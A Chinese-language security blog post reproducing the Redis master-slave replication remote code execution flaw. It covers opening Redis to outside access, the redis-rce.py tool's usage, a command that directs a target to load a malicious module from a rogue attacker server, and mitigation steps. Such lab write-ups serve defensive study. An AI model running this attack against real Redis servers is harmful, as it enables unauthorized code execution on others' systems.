QQ love member No. 3 seed player

know it then do it && APT086&QQ愛安全实验室成员

Redis-RCE 复现

12 Jul 2019 » security

[TOC]

PS:

很早之前复现过redis 未授权访问写shell 的案例参考

如今又出现了 Redis 主从复制 RCE 刚才在复现的时候一直卡在 [*] Tring to run payload 中 原因是因为两台机器必须处在公网的环境下或者本地代理也可以只要保证机器可以互PING保持通信。

0x1 漏洞影响范围:

Redis 2.x 3.x 4.x 5.x

0x2 环境搭建

Redis 服务器:xxx.xxx.94.167

Tag: Redis 配置为外网可以访问,本人服务器为阿里云所以要登陆官网打开 6379 的端口访问权限

更改 redis.conf 配置文件

bind 127.0.0.1

protected-mode yes

更改为

# bind 127.0.0.1

protected-mode no

然后重启 redis 。

RT:

redis-rce-1

0x2 复现漏洞

攻击机IP:xxx.xxx.43.169

采用工具 帮助:

[root@admin redis-rce]# python3 redis-rce.py -h

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ 
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   
 ▀                                     ▀                   


usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                    [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -a AUTH, --auth AUTH  redis password
  -v, --verbose         show more info

执行命令:

$ python3 redis-rce.py -r xxx.xxx.94.167 -p 6379 -L xxx.xxx.43.169 -f ./exp_lin.so

RT:

redis-2

注意: 攻击机 目标机要能互相通信,要么2个都在公网,要么2个都在内网,或者加个代理也是可以的。

0x3 应急措施

1、官方目前没有发布相关补丁

2、 禁止外网访问 Redis(重启redis才能生效)

# 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用。
bind 127.0.0.1

3、以低权限运行 Redis 服务(重启redis才能生效)

# 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆。
groupadd -r redis && useradd -r -g redis redis

4、设置防火墙策略  

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

下载